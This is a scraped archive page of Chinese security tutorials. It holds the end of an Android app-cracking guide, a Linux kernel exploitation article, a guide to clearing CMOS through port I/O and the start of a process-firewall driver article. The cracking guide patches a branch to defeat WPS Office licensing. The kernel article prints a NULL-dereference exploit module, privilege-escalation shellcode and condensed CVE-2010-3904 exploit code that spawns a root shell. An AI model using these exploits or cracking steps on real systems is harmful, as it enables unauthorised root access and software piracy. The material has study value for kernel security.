invoke-virtual {v0}, Landroid/widget/Toast;->show()V           //彈出了 Toast iget-object                           v0,                          p0, Lcn/wps/moffice/documentmanager/DocumentManager;->DY:Lcn/wps/moffice/documentma nager/history/HistoryFiles; iget-object                           v1,                          p0, Lcn/wps/moffice/documentmanager/DocumentManager;->cPk:Ljava/lang/Runnable; const-wide/16 v2, 0x7d0 invoke-virtual             {v0,            v1,            v2,            v3}, Lcn/wps/moffice/documentmanager/history/HistoryFiles;->postDelayed(Ljava/lang/R unnable;J)Z    //這里就 OVER 了 :cond_0 :goto_0 return-void :cond_1 invoke-static {}, Lcn/wps/moffice/OfficeApp;->zc()Lcn/wps/moffice/OfficeApp; move-result-object v0 invoke-virtual                                                    {p1}, Lcn/wps/moffice/documentmanager/DocumentManager$a;->toString()Ljava/lang/String ; move-result-object v1 invoke-virtual {v0, v1}, Lcn/wps/moffice/OfficeApp;->bO(Ljava/lang/String;)Z move-result v0 同樣,兩處的修改很簡單,只需要將 if-eqz v0, :cond_1 改成 if-nez v0, :cond_1 就可 以了。保存文件后重新回編,安裝測試就會發現程序被破解掉了。運行效果如圖 6: 到這里,本文就結束了,總結一下,內容不多,主要介紹了Android程序分析需要用到 的工具及 Android程序的一般分析方法,另外,在實戰中也看到了,混淆并不可怕,可怕的 是沒有耐心堅持下去。   http://www.ionrce.tw/uploads/allimg/120329/1-1203291F410358-lp.jpg Android破解 程序破解 軟件破解 admin 未知 2012-04-01 22:46 Linux下內核漏洞利用幾種方法 http://www.ionrce.tw/biancheng/20120330813.html 系統內核因包含大量關鍵資源的分配與調度,如用于進程、資源和內存分配的處理、通 信協議的實現等,故其安全性是至關重要的。然而,內核設計的復雜性卻造就了多樣化和有 趣的 系統內核因包含大量關鍵資源的分配與調度,如用于進程、資源和內存分配的處理、通 信協議的實現等,故其安全性是至關重要的。然而,內核設計的復雜性卻造就了多樣化和有 趣的邏輯錯誤,系統內核包含許多子系統模塊的實現代碼,子系統之間通過復雜的接口交互; 另外,系統內核還包含大量的用戶數據接入點,如系統調用、IOCTLs、文件系統及網絡連接 等,允許可控的用戶數據成功訪問到內核中的重要代碼區,這些都是可能被黑客利用的漏洞。 Google 兩位工程師 Julien Tinnes 和 Tavis Ormandy 在過去幾年間發現了近 20 余個內核級 bug,其中大部分至今仍未修復。Tinnes 稱,Linux 內核中存在一些內存破壞錯誤、六個經 典的緩沖區溢出錯誤以及空指針引用,它指向存儲在機器內存中的數據。本文將深入分析 Linux 系統內核主流版本存在的一些安全漏洞。 NULL 指針解引用漏洞 NULL 指針解引用是最常見的漏洞之一。指針即包含內存中某一變量的地址值,當指針 解引用時,即可獲取內存地址中存放的變量值。一個靜態未初始化的指針,其內容為 NULL 即(0x0).在內核代碼中 NULL 值常在變量初始化、設置為缺省值或者作為一個錯誤返回值 時使用。在系統中,虛擬地址空間分為兩個部分,分別稱為內核空間和用戶進程空間,當內 核嘗試解引用一個 NULL 指針時,若用戶又允許映射 NULL 地址(如首個頁面包含 0 地址), 則可直接或間接控制內核代碼路徑。(注:NULL 指針引用 BUG 主要是因進程在執行指針解引 用時,沒有檢查其合法性造成的,若待解引用的地址為 NULL,則在內核態訪問 NULL 指針時 會引發 Oops,此時若黑客在用戶態將 NULL 地址設置為可執行并注入惡意代碼,則內核代碼 將會執行 NULL 地址的惡意指令。下面將具體分析 Linux 內核是如何處理空指針引用的。 在程序的執行過程中,因某種原因使 CPU 無法訪問到相應的物理內存單元,即無法完成 從虛擬地址到物理地址映射時,CPU 會產生一次缺頁異常,從而進行相應的缺頁異常處理, 如目標頁面不存在(頁表項全 0,即該線性地址與物理地址尚未建立映射或者已經撤銷)或 者相應的物理頁面不在內存中(如在 swap 分區或磁盤文件上)等。當 CPU 捕獲到這個異常的 時候就會引發一次缺頁異常中斷,并調用 do_page_fault()函數來判斷和處理這些異常。 下面我們具體分析內核是如何處理引用 NULL pointer 異常的,do_page_fault()函數源 碼部分實現如下:(注:感興趣的讀者也可參見源碼 arch\i386\mm\fault.c 程序文件中此函 數的具體實現) fastcall void  kprobes do_page_fault(struct pt_regs *regs, unsigned long error_code){ struct task_struct *tsk; struct mm_struct *mm; struct vm_area_struct * vma; unsigned long address; unsigned long page; int write, si_code; /* 通過 cr2 寄存器得到引發異常的線性地址 */ address = read_cr2(); tsk = current; si_code = SEGV_MAPERR; ****** switch (handle_mm_fault(mm, vma, address, write)) { case VM_FAULT_SIGBUS:  /*0,向進程發送 SIGBUS 信號*/ goto do_sigbus; case VM_FAULT_OOM:  /*沒有足夠的內存*/ goto out_of_memory; default: BUG(); } no_context: /* 代碼跳到一段“修正代碼”處,這段代碼的典型操作就是向當前進程發送 SIGSEGV 信號,或用一個適當的出錯碼終止系統調用處理程序 */ if (fixup_exception(regs))  return; if (is_prefetch(regs, address, error_code))  return; /* 如果是由于內核自己訪問了用戶空間的無效地址,則就會引發 0ops,即內核級 的 Segmentation Fault */ if (oops_may_print()) { /* 如果這個地址小于 PAGE_SIZE, 一般為 4096 字節,內核就認為這是一次空指針 操作,開始打印 OOPS 信息 */ if (address < PAGE_SIZE) printk(KERN_ALERT "BUG: unable to handle kernel NULL " "pointer dereference"); else printk(KERN_ALERT "BUG: unable to handle kernel paging" " request"); printk(" at virtual address %08lx\n",address); printk(KERN_ALERT " printing eip:\n"); printk("%08lx\n", regs->eip); } page = read_cr3(); page = ((unsigned long *)  va(page))[address >> 22]; if (oops_may_print()) printk(KERN_ALERT "*pde = %08lx\n", page); tsk->thread.cr2 = address; tsk->thread.trap_no = 14; tsk->thread.error_code = error_code; die("Oops", regs, error_code); bust_spinlocks(0);#p#分頁標題#e# do_exit(SIGKILL); ******** do_sigbus: up_read(&mm->mmap_sem); /*發送一個 SIGSEGV 信號(或者返回一個錯誤碼終止程序處理)并殺死進程*/ if (!(error_code & 4)) goto no_context; /* 把線性地址當做系統調用的參數(錯誤的系統調用參數)引起異常 */ if (is_prefetch(regs, address, error_code)) return; tsk->thread.cr2 = address; tsk->thread.error_code = error_code; tsk->thread.trap_no = 14; force_sig_info_fault(SIGBUS, BUS_ADRERR, address, tsk); } 從上面的程序代碼可知,系統內核是如何處理一個 NULL pointer 引用即函數把 CPU 寄 存器和內核態堆棧的全部轉儲打印到控制臺,并輸出到一個系統消息緩沖區,當前進程 eip 停止在 0x0 處, 打印 OOPS 信息,然后宕機。既然發生 OOPS 的時候 eip 停留在內存 0x0 地 址上,則黑客只需要精心構造一個 shellcode 放置在內存 0 地址上,并且促使內核運行此 shellcode 即可實現他們的目的如權限提升等。 實例分析 下面我們在 /proc 文件系統中使用 create_proc_entry 函數創建一個虛擬文件 /proc/bug,此函數可以接收一個文件名、一組權限和這個文件在 /proc 文件系統中出現的 位置。create_proc_entry 的返回值是一個 proc_dir_entry 指針(或者為 NULL,說明在 create 時發生了錯誤),然后對返回的指針來配置為對該文件執行寫操作時應該調用的函數 write_proc,代碼如下: void (* my_funptr )( void ); //定義一個未初始化的 NULL 指針函數 int bug_write ( struct file *file ,const char *buf ,unsigned long len) { my_funptr ();  //調用 NULL 指針函數,執行 NULL 地址 return len; } int exploit_init ( void ) { struct proc_dir_entry *ptr = create_proc_entry (" bug ", 0666 , 0); ptr-> write_proc = bug_write ; //使用 write_proc 命令指定對此文件進行寫 操作的函數 return 0; } int exploit_exit(void){ printk(KERN_EMERG “exploit exit\n”); } module_init(exploit_init); module_exit(exploit_exit); 上面的程序編譯后,生成 exploit.ko 文件,執行命令 insmod exploit.ko 加載此模 塊,然后在/proc/bug 文件內寫入 foo 時,將打印如下錯誤信息:   由上面的程序演示得知,只要我們能夠在EIP地址處,精心構造一個shellcode,即可使 其執行此shellcode,如修改當前進程current的uid, gid字段使其變為0,從而使當前進程 獲得root權限,然后在系統調用完成返回用戶空間的時候執行“system ("/ bin/sh")”命 令等。現在的問題是如何使內核運行用戶態的代碼即我們構造的shellcode呢。Linux系統提 供了一個系統調用mmap,利用此函數可以通過建立匿名映射,并配合MAP_FIXED標志將用戶 空間代碼映射到內存NULL地址。采用匿名映射的主要原因是,可以有效避免文件的創建及打 開而引發的Oops. 映射代碼如下: mmap (0, 4096 , PROT_READ | PROT_WRITE | PROT_EXEC ,   MAP_FIXED | MAP_PRIVATE | MAP_ANONYMOUS, -1, 0); 注意:flags字段需要設置MAP_ANONYMOUS屬性,不然系統就要根據fd來獲得文件file指針。 然后將進行構造好的shellcode拷貝到此區域即可,執行如下命令:memcpy (0, shellcode , sizeof ( shellcode ));最后調用open函數打開文件/proc/bug,然后執行 write(fd,”foo”,3)命令,即會跳轉到shellcode地址處,執行shellcode機器碼。好了, 現在我們只需要構造一個具有獲取root權限的shellcode即可,Linux下獲取root權限的 shellcode構造方式很多,這里只簡單給出一種方法,即通過調用commit_creds ( prepare_kernel_cred (0))函數 ,將root權限交給當前進程。最簡單的方式即通過硬編碼: $ grep _cred / proc / kallsyms來獲取此函數在內核中的地址,但這種方法兼容性不好。 獲取到它們在內核中的地址后,即可通過編譯此匯編代碼然后執行objdunp命令,獲取 其對應的機器碼,即shellcode值。假設匯編代碼為: xor %eax , %eax  # %eax := 0 call 0 xc104800f  # prepare_kernel_cred call 0 xc1048177  # commit_creds ret 執行命令“gcc -o shellcode shellcode.s -nostdlib -Ttext =0”即可編譯此匯編程 序,然后執行命令“objdump -d shellcode”獲取shellcode. 故,此時系統jmp到此位置, 然后執行此shellcode機器碼即實現了普通權限向root權限的轉變,此時即可在系統調用完 成返回用戶空間的時候執行“system(“/bin/sh”)”等操作了。#p#分頁標題#e# 內核任意地址可寫漏洞 1. CVE-2010-4258漏洞分析 Linux存在一個特性即當一個線程被kill掉時,系統會通知用戶空間。在線程創建時, 用戶空間就會提供一個指針,以便內核向此指針寫入0操作,返回給用戶。部分代碼如下所 示: static struct task_struct *copy_process(unsigned long clone_flags, unsigned long stack_start, struct pt_regs *regs, unsigned long stack_size,int  user *child_tidptr, struct pid *pid,int trace){ p->set_child_tid = (clone_flags & CLONE_CHILD_SETTID) ? child_tidptr : NULL; p->clear_child_tid = (clone_flags & CLONE_CHILD_CLEARTID) ? child_tidptr: NULL; }   當CLONE_CHILD_CLEARTID標志被設置的時候,copy_process會把child_tidptr指針賦值 給p->clear_child_tid,最重要的是child_tidptr是從用戶空間傳遞進來的, 可以通過 clone系統調用, 配合CLONE_CHILD_CLEARTID標志 ,將child_tidptr傳遞給內核。當一個進 程在exit的時候,do_exit()會執行如下操作: void mm_release(struct task_struct *tsk, struct mm_struct *mm){ if (tsk->clear_child_tid) { if (!(tsk->flags & PF_SIGNALED) && atomic_read(&mm->mm_users) > 1) { /*這里并沒有校驗用戶空間上傳的指針是否合法*/ put_user(0, tsk->clear_child_tid); sys_futex(tsk->clear_child_tid, FUTEX_WAKE,1, NULL, NULL,   0);} }}   tsk->clear_child_tid = NULL;   上述代碼中,clear_child_tid變量是用戶空間可直接操作的變量值,若內核未對此變 量進行檢查,則很可能被黑客利用,對內核中的任意變量進行清0操作。盡管官方已經對此 漏洞進行了修復,增加了用戶指針的校驗即比較要訪問的addr是否高于進程地址上限,若高 于地址上限,則不會進行拷貝操作。但當黑客通過各種手段如設計一個oops發生,使其出現 如下操作時: set_fs ( KERNEL_DS ); ... put_user (0, pointer_to_kernel_memory ); ... set_fs ( USER_DS ); 上述代碼中,set_fs將當前進程的地址空間上限設為KERNL_DS, 此時則可繞過put_user 的那個指針檢查,從而實現對任意一個內核地址空間寫入NULL。 2. CVE-2010-3904漏洞分析 Linux使用了iovec結構執行recvmsg()樣式套接字調用,以允許用戶指定用于接收套接 字數據的緩沖區基址和大小。每個報文家族負責定義拷貝套接字數據的函數,內核接收到這 些數據后返回給用戶空間以便用戶程序處理所接收到的網絡數據。但在將數據拷貝到用戶空 間時,RDS協議沒有確認用戶所提供iovec結構的基址指向了有效的用戶空間地址便使用   copy_to_user_inatomic()函數拷貝數據。因此,如果任意指定一個內核地址為iovec基址 并發布recvmsg()樣式套接字調用,攻擊者就可實現向內核內存中寫入任意數據,導致root 用戶權限提升。 利用此漏洞實現內核地址空間任意寫的步驟如下: (1) 搜索內核鏡像地址; unsigned long get_kernel_sym ( char * name ) { FILE *f = fopen ("/ proc / kallsyms ", "r"); ... sock_ops = get_kernel_sym (" rds_proto_ops "); rds_ioctl = get_kernel_sym (" rds_ioctl ");   (2) 創建一對可靠數據包套接字RDS; int prep_sock (int port ); (3) 接受一個數據包,覆蓋任意設計好的內核函數地址; void get_message ( unsigned long address , int sock ); void send_message ( unsigned long value , int sock ); (4) 促使內核調用此函數地址; 核心代碼解析: void write_to_mem(unsigned long addr, unsigned long value, int sendsock, int recvsock){ if(!fork()) { sleep(1); send_message(value, sendsock); exit(1); } else { get_message(addr, recvsock); wait(NULL); }} int  attribute  ((regparm(3)))getroot(void * file, void * vma){ commit_creds(prepare_kernel_cred(0)); return -1; } int main(int argc, char * argv[]){ //獲取rds_ioctl函數地址值 sock_ops = get_kernel_sym (" rds_proto_ops "); rds_ioctl = get_kernel_sym (" rds_ioctl "); commit_creds = (_commit_creds) get_kernel_sym("commit_creds"); prepare_kernel_cred = (_prepare_kernel_cred) get_kernel_sym("prepare_kernel_cred"); target = sock_ops + 9 * sizeof ( void *); sendsock = prep_sock(SENDPORT); recvsock = prep_sock(RECVPORT);#p#分頁標題#e# /* 覆蓋函數ptrace_traceme地址值,使其指向commit_creds地址*/ printf("[*] Overwriting function pointer...\n"); write_to_mem(target, (unsigned long)&getroot, sendsock, recvsock); /*觸發此payload并獲取root權限后,恢復原函數地址*/ ioctl ( sendsock , 0, NULL ); printf("[*] Restoring function pointer...\n"); write_to_mem(target, rds_ioctl, sendsock, recvsock); printf("[*] Got root!\n"); execl("/bin/sh", "sh", NULL); } 小結 最近幾年關于Linux內核漏洞利用的研究關注更多,常見的內核提權漏洞大致為以下幾 種即空指針引用,內核堆棧溢出,內核slab溢出,內核任意地址可寫等等。本文只是簡單了描述了空指針引用和內核任意地址寫漏洞。至于內核slab內存溢出漏洞,讀者感興 趣可以參考sqrkkyu在Phrack #64上發表的文章“Attacking the Core : Kernel Exploiting Notes”及Enrico Perla出版的《A  Guide to Kernel Exploitation: Attacking the Core》 一書。 http://www.ionrce.tw/uploads/allimg/120330/1-120330222TG31-lp.jpg linux linux內核 內核漏洞 各類編程 admin 未知 2012-04-01 22:46 vc清空系統CMOS的幾種方法 http://www.ionrce.tw/biancheng/20120326810.html 看過以前有童鞋寫過的清空 cmos 的小程序挺好用的,但是方法介紹的不是很詳 細,這篇文章主要從端口讀寫入手,詳細闡述在windows系統下如何操縱端口。操縱端口無 非有這么幾 看過以前有童鞋寫過的清空 cmos 的小程序挺好用的,但是方法介紹的不是很詳 細,這篇文章主要從端口讀寫入手,詳細闡述在windows系統下如何操縱端口。操縱端口無 非有這么幾種用途,操縱PC SPEAKER發聲,清空CMOS,讀寫硬盤端口穿透還原系統,高校 里面經常用來做的采集數據的項目從端口讀寫PCI卡。 我先列一下端口讀寫的幾種方法吧。 1. 六個宏定義  READ_PORT_UCHAR       READ_PORT_USHORT       READ_PORT_ULONG       WRITE_PORT_UCHAR       WRITE_PORT_USHORT       WRITE_PORT_ULONG  2.內嵌匯編In和 Out 特權指令的使用 3.Native API NtSystemDebugControl的使用 4.使用函數Ke386QueryAccessMap Ke386SetIoAccessMap Ke386IoSetAccessProcess  5.WinIO 的使用                         第一種方法(需要驅動),使用六個宏定義 他們分別是      READ_PORT_UCHAR       READ_PORT_USHORT       READ_PORT_ULONG       WRITE_PORT_UCHAR       WRITE_PORT_USHORT       WRITE_PORT_ULONG   這也是非常穩定的一種方法,是微軟推薦的一種做法,宏定義大家都知道,在根據 OS 版本的不同下調用不同的函數,這六個函數類似于 dos 下 debug 命令中的 IN 和 OUT 并且 在 WinIo 中作者也是用了著六個函數來進行端口的讀寫。R3 下主要代碼如下。我們使用 CreateFile打開我們在驅動中創建的"\\??\\CMOS"這個符號鏈接。注意C++中\要表示成\\, 然后向 70和 71端口寫入垃圾數據,所以代碼如圖1:  圖 1 測試程序都是 CUI 程序,成功后在 CMD 窗口中打印出 success, 截圖測試程序在虛擬機中如圖 2:  測試的時候首先在VMware安裝的XP SP3 啟動的時候設置CMOS密碼,然后用驅動加載工 具加載我們的驅動,將測試程序拖入cmd中查看是否成功。如圖3: 這時候重啟虛擬機,會發現CMOS 已經被清空,說明我們的端口讀寫成功。                    第二種方法(需要驅動) 內嵌匯編In 和 Out特權指令的使用   大家可能都試過從光驅啟動,很多優化版本的 XP 光盤往往集成了很多工具,其中進入 dos 輸入一個命令就可以清空 CMOS。 的確在 dos下這樣的命令就可以清空CMOS.     -o 70 xx(回車)  (xx位 00-99之間的任意數值)    -o 71 xx(回車) -q (回車) Dos 下只是用了CPU的實模式,但是windows下充分利用了CPU 的保護模式,不掛驅動 想要進入 R0 是不容易做到的,當然調用Native API可以不掛驅動做到很多需要掛驅動才能 做到的事情,Native API 的缺點就是因 OS 的版本號 Native API 的某些功能號不同或者干 脆被微軟和諧了,這個后面我們在 NtSystemDebugControl 里面細說。第二種方法的關鍵就 在于對于六個函數的封裝。這個代碼比較多截圖如圖4。關鍵就在于著六個函數的封裝。 看出點門道來了吧,其實和六個宏定義是差不多的,然后 R3 程序中我們依然用 CreateFile 打開我們創建的符號鏈接"\\.??\\CMOSASM"測試方法和以前一樣,屏幕依舊輸 出 success。如圖 5 第三種方法(不需要驅動)    NtSystemDebugControl   這個方法是比較好也是比較簡潔的一個方法。但是缺點也是致命的,無法在 WIN7 下使 用,為什么呢,WIN7 下把 NtSystemDebugControl 的很多功能給和諧了。 我先把代碼貼出來然后說一下原理吧。   #include <windows.h> #include <stdio.h> #pragma comment(lib, "advapi32") #define NTAPI   stdcall #define FCHK(a)       if (!(a)) {printf(#a " failed\n"); return 0;}         //#p#分頁標題#e# 定義了一個宏  宏中的 a 不成立的話 輸出 a 失敗    類似于 assert 斷言 typedef int NTSTATUS; typedef enum _SYSDBG_COMMAND { SysDbgSysReadIoSpace = 14, SysDbgSysWriteIoSpace = 15 }SYSDBG_COMMAND, *PSYSDBG_COMMAND; typedef NTSTATUS (NTAPI * PZwSystemDebugControl) ( SYSDBG_COMMAND ControlCode, PVOID InputBuffer, ULONG InputBufferLength, PVOID OutputBuffer, ULONG OutputBufferLength, PULONG ReturnLength ); PZwSystemDebugControl ZwSystemDebugControl = NULL; typedef struct    IO STRUCT { DWORD IoAddr;         // IN: Aligned to NumBYTEs,I/O address DWORD Reserved1;      // Never accessed by the kernel PVOID pBuffer;        // IN (write) or     OUT (read): Ptr to buffer DWORD NumBYTEs;       // IN: # BYTEs to read/write. Only use 1, 2, or 4. DWORD Reserved4; // Must be 1 DWORD Reserved5;      // Must be 0 DWORD Reserved6;      // Must be 1 DWORD Reserved7;      // Never accessed by the kernel }   IO_STRUCT, *PIO_STRUCT; //緊接著下面 封裝了一 個提升進程權 限的代碼 不知道的兄弟 可參考 這 里 http://hi.baidu.com/invisiable/blog/item/41e4c3a13fa4a68f461064fb.html //windows 核心編程里面也有 BOOL EnablePrivilege (PCSTR name) { HANDLE hToken; BOOL rv; TOKEN_PRIVILEGES priv = { 1, {0, 0, SE_PRIVILEGE_ENABLED} }; /* typedef    struct    _TOKEN_PRIVILEGES      {      DWORD    PrivilegeCount; LUID_AND_ATTRIBUTES Privileges[ANYSIZE_ARRAY]; } TOKEN_PRIVILEGES,     *PTOKEN_PRIVILEGES; typedef struct _LUID_AND_ATTRIBUTES {       LUID Luid;    DWORD Attributes; } LUID_AND_ATTRIBUTES,      *PLUID_AND_ATTRIBUTES; typedef struct _LUID {     DWORD LowPart;     LONG HighPart; } LUID,    *PLUID; 我們要怎么樣才能知道一個權限對應的 LUID 值是多少呢?這就要用到另外一 個 API 函數 LookupPrivilegevalue */ LookupPrivilegeValue ( 0, name, &priv.Privileges[0].Luid   ); OpenProcessToken( GetCurrentProcess (), TOKEN_ADJUST_PRIVILEGES, &hToken   ); AdjustTokenPrivileges ( hToken, FALSE, &priv, sizeof priv, 0, 0 );   rv = GetLastError () == ERROR_SUCCESS; CloseHandle (hToken); return rv; } BYTE InPortB (int Port) {   BYTE Value; IO_STRUCT io; io.IoAddr = Port; io.Reserved1 = 0; io.pBuffer = (PVOID) (PULONG) & Value; io.NumBYTEs = sizeof (BYTE); io.Reserved4 = 1; io.Reserved5 = 0; io.Reserved6 = 1; io.Reserved7 = 0; ZwSystemDebugControl (   SysDbgSysReadIoSpace, &io, sizeof (io), NULL, 0, NULL );   return Value; }   void OutPortB (int Port, BYTE Value) {   IO_STRUCT io; io.IoAddr = Port; io.Reserved1 = 0; io.pBuffer = (PVOID) (PULONG) & Value; io.NumBYTEs = sizeof (BYTE); io.Reserved4 = 1; io.Reserved5 = 0; io.Reserved6 = 1; io.Reserved7 = 0; ZwSystemDebugControl (   SysDbgSysWriteIoSpace, &io, sizeof (io), NULL, 0, NULL ); }; int main (void) { HMODULE hNtdll; //   ULONG ReturnLength; OSVERSIONINFO OSVersionInfo; OSVersionInfo.dwOSVersionInfoSize = sizeof (OSVERSIONINFO); EnablePrivilege (SE_DEBUG_NAME); FCHK ((hNtdll = LoadLibrary ("ntdll.dll")) != NULL); FCHK ((ZwSystemDebugControl = (PZwSystemDebugControl) GetProcAddress (hNtdll, "ZwSystemDebugControl")) != NULL); FCHK ((void *) GetVersionEx (&OSVersionInfo) != NULL); if (OSVersionInfo.dwPlatformId == VER_PLATFORM_WIN32_NT && OSVersionInfo.dwMajorVersion >= 5 && OSVersionInfo.dwMinorVersion >= 1)        //Windows XP 以上   { OutPortB(0X70,(BYTE)(12345678)); OutPortB(0X71,(BYTE)(87654567)); printf("success"); } else { } printf ("This program require Windows XP or Windows 2003.\n");  return 0; } NtSystemDebugContro 可以參考兩篇資料一個是 NativeAPI 另一個就是 tombkeeper 老#p#分頁標題#e# 大的《對 Native API NtSystemDebugControl 的分析 這篇文章》 在這里我們手動跟一下 NtSystemDebugControl 這個函數,測試環境是 XP SP3 鍵入 u NtSystemDebugControl 如圖 6 注意這兩個函數 KdpSysReadIoSpace KdpSysWriteIoSpace 原來 NtSystemDebugControl 是調用這兩個函數來進行端口讀寫的 我們再跟一下這兩個函數  先跟一下 KdpSysReadIoSpace 這個函數吧 看一下他調用哪 個函數進行端口讀寫。 u  KdpSysReadIoSpace 如圖 7 注意圖 7 的三個 call 很熟悉的函數吧 nt!_imp  READ_PORT_ULONG nt!_imp  READ_PORT_USHORT nt!_imp  READ_PORT_UCHAR 你再跟一下 KdpSysWriteIoSpace 會發現它其實也是調用三個宏定義來的 WRITE_PORT_UCHAR WRITE_PORT_USHORT WRITE_PORT_ULONG 我們總結一下吧 NtSystemDebugControl--->KdpSysReadIoSpace--->三個宏定義 NtSystemDebugControl--->KdpSysWriteIoSpace--->三個宏定義     第四種方法 Ke386QueryAccessMap Ke386SetIoAccessMap Ke386IoSetAccessProcess   由于這個方法看雪的 combojiang 大俠有詳細的介紹,再這里不再浪費篇幅詳細介紹了大家可以參考這個帖子,介紹的很詳細。 http://bbs.pediy.com/showthread.php?p=434124#post434124 第五種方法  WinIo 的使用 最新WinIO3.0 可以從這里下載,http://www.internals.com/ WinIo3.0 里面不自帶 lib 文件,可以自己用 VS2008 編譯,可能會編譯出錯,這里我提 供一下我編譯后的 lib 文件,見附件。 WinIo 調用的也是六個宏定義,這里為什么拿出篇幅來說這個呢,因為 WinIo 對于各個 版本的 windows 都支持的很好。WIN2000-WIN7 版本都支持,當然 X64 上 WinIo 沒有簽名, 調用的方法幫助文檔里面也說的很清楚,我給出兩個示例來說明 WinIo 的使用。 方法 1 使用.lib 文件的時候加載 DLL 代碼如下 此方法需要用 VS2008 編譯下 winio 得 到 lib 文件   #include "stdio.h" #include "windows.h" #include ".\WinIo\Source\Dll\winio.h" #pragma comment(lib,"WinIo32")//tell the compiler where the file is w WCHAR *str=L".\\WinIo\\Binaries\\WinIo32.sys"; int main() { //   HMODULE hlib = LoadLibrary("WinIo32.dll"); //PVOID p = GetProcAddress(hlib , "InitializeWinIo"); bool    _stdcall a= InitializeWinIo(); if (a==0) { printf("WinIo 初始化失敗"); } else { bool bReta=SetPortVal(0x70,12224344,4); bool bRetb=SetPortVal(0x71,34543534,4); if(bReta&&bRetb) printf("successful"); //關閉 WinIO 驅動 ShutdownWinIo(); } return 0; };   方法 2 不使用.lib 文件 使用 LoadLibrary 和 GetProcAddress 動態加載 我第一次編譯 WinIo 獲取 lib 文件的時候失敗了,后來把 VS2008 重新修復了一遍編譯 成功,鑒于這種情況我給一個動態加載的方法。   #include "stdio.h" #include "windows.h" #include ".\WinIo\Source\Dll\winio.h" //#pragma comment(lib,"WinIo32")//tell the compiler where the file is w //WCHAR *str=L".\\WinIo\\Binaries\\WinIo32.sys"; //bool SetPortVal(WORD wPortAddr,DWORD dwPortVal,BYTE bSize); //void ShutdownWinIo(); typedef    bool    (_stdcall *bRet1)(); typedef    bool     (_stdcall *bRet2)(WORD wPortAddr,DWORD dwPortVal,BYTE bSize); typedef    void    (_stdcall *bVoid)(); int main() { HMODULE h1=::LoadLibrary("WinIo32.dll"); if (h1 !=NULL) { //bool _stdcall InitializeWinIo(); //2 地址 代理函數=(地址)::GetProcAddress(h,"原函數") bRet1 iz=(bRet1)::GetProcAddress(h1,"InitializeWinIo"); if(!iz) { printf("fale in InitializeWinIo GetProcAddress"); } else { bRet2 SPV=(bRet2)::GetProcAddress(h1,"SetPortVal"); if (!SPV) {printf("fale in SetPortVal GetProcAddress");} else { bVoid SD=(bVoid)::GetProcAddress(h1,"ShutdownWinIo");#p#分頁標題#e# if (!SD) {printf("fale in ShutdownWinIo GetProcAddress");} else { bool    a= iz(); if (a==0) { printf("WinIo 初始化失敗"); } else { bool bReta=SPV(0x70,12224344,4); bool bRetb=SPV(0x71,34543534,4); if(bReta&&bRetb) printf("successful"); //關閉 WinIO 驅動 SD(); ::FreeLibrary(h1); } } } } } return 0; }; 小結:以上五個例子我都用清空 CMOS 方法證明我們的端口讀寫成功了,都在 VMWare XP SP3 上面測試成功。 http://www.ionrce.tw/uploads/allimg/120326/1_03262121543104.png 清空cmos NtSystemDebugControl Na 各類編程 admin 未知 2012-03-26 21:25 進程防火墻驅動開發的再次挖掘 http://www.ionrce.tw/biancheng/20120325808.html 前段時間,我們實驗室需要為外面某公司開發一個安全方面的軟件,這個項目很大, 由于制度問題,我在這里無法透露,我在這里只是談論技術有關,其中有一個要求就是需 要按照某些 前段時間,我們實驗室需要為外面某公司開發一個安全方面的軟件,這個項目很大, 由于制度問題,我在這里無法透露,我在這里只是談論技術有關,其中有一個要求就是需 要按照某些策略來進行限制進程的啟動,實際上就是開發一個進程防火墻,黑白名單由自 己指定,當時我接到該任務,心中一陣竊喜;這個我在 2009年就已經實現,我在 2009年寫過一篇文章叫《“二次華山論劍“---再論進程防火墻》,就是當創建進程時候,可以被攔截,由用戶判定是否攔截進程。因此沒多想,直接把相關的代碼和文檔丟給師 弟,讓他們去修改,并提出設計方案,在應用層建立一個隊列,創建一個進程就掛起后放入隊列,另一個隊列處于檢測進程隊列狀態中,一旦發現進程等待狀態中有新的元素,就 提取該掛起進程的 ID 進行判定,如果在黑名單中,直接結束,不在則直接繼續運行掛起的 進程。 但是按照此方案設計后,測試發現幾個問題:第一、采取應用層隊列掛鉤會造成極大 的延時,同步效果不好;第二使用 Ntdll 的 ZwSuspendProcess 函數不能掛起父進程是 Winlogon.exe 創建的進程,比如:taskMgr.exe(任務管理器)等進程。這個時候只能否定 這種方案。利用 PsSetCreateProcessNotifyRoutine 回調函數來做進程防火墻,難道不 行 ,這 個時候 我逆向了 一下 QQ 管 家的 TSKsp.sys 驅動文 件,發現 它也 是通過 PsSetCreateProcessNotifyRoutine 回調函數來進行進程過濾的,并且判斷了父進程是否 是 Explorer.exe 或者 Winlogon.exe,其中用到大量的同步以及互鎖機制;因此我決定重新 分析 PsSetCreateProcessNotifyRoutine 回調函數的流程,我發現該回調函數的簡單流 程:NtCreateProcessEx--->PspCreateProcess,PspCreateProcess 函數初始化進程相關 的參數、結構、任務等,然后進程環境搭建好后,運行第一個線程(主線程),利用 PspCreateThread 函數,這個函數完成初始化主線程的參數、結構(比如 TCB)等工作以后, 將會再使用 ExReferenceCallBackBlock 函數來進行遍歷執行 PsSetCreateProcessNotifyRoutine 回調函數表中 的 8 個函數地址,后面繼續遍歷 PspCreateThreadNotifyRoutine 回調函數等,經過一系列復雜的工作后才能啟動進程;這 里不做過多闡述,有興趣的黑防讀者可以通過閱讀 wrk1.2 來理解,也可以構建 wrk 環境來 調試進程創建流程,估計跟目前的操作系統的流程會有所不同因為 wrk 是 window 2003 sp1(X86)下使用的內核源碼,目前的流行操作系統 win7 肯定是不一樣。通過上面的分析得 知 PsSetCreateProcessNotifyRoutine 回調函數將會在第一個主線程未啟動之前啟動,這 說 明進 程 已 經 被 映射 進入 內 存而 且與 主 線 程 創建 是 同 步 事 件 , 因此 決 定 就 在 PspCreateThreadNotifyRoutine  回調函 數里做過濾。 在回調函數中使 用 ZwTerminateProcess 來強制結束黑名單上的進程,效果示意圖 1: 如果是寫自己編寫工具測試這樣也無所謂,但是寫產品,這種提示框是不能出現,難 道你要用戶自己去點一下,首先為什么會提示這個框,這是由于應用軟件在新建進程時, 比 如我 們雙 擊進 程圖 標 時, 這樣 父進 程 --- 一 般是 Explorer.exe 會 利用 CreateProcessInternalW 這 個函數來 創建進 程,如 果在主線 程還沒 有執行 前,就 被 ZwTerminateProcess 結束 ,那么 Explorer.exe 會認為 遇到什 么不明錯 誤,會 調用 drwtsn32.exe 來上報錯誤,這個效果需要你開啟系統的錯誤報告檢測功能,在“我的電腦 -系統屬性-高級-錯誤報告一欄中”。如果父進程為 cmd 命令行的話,在回調函數結束進程 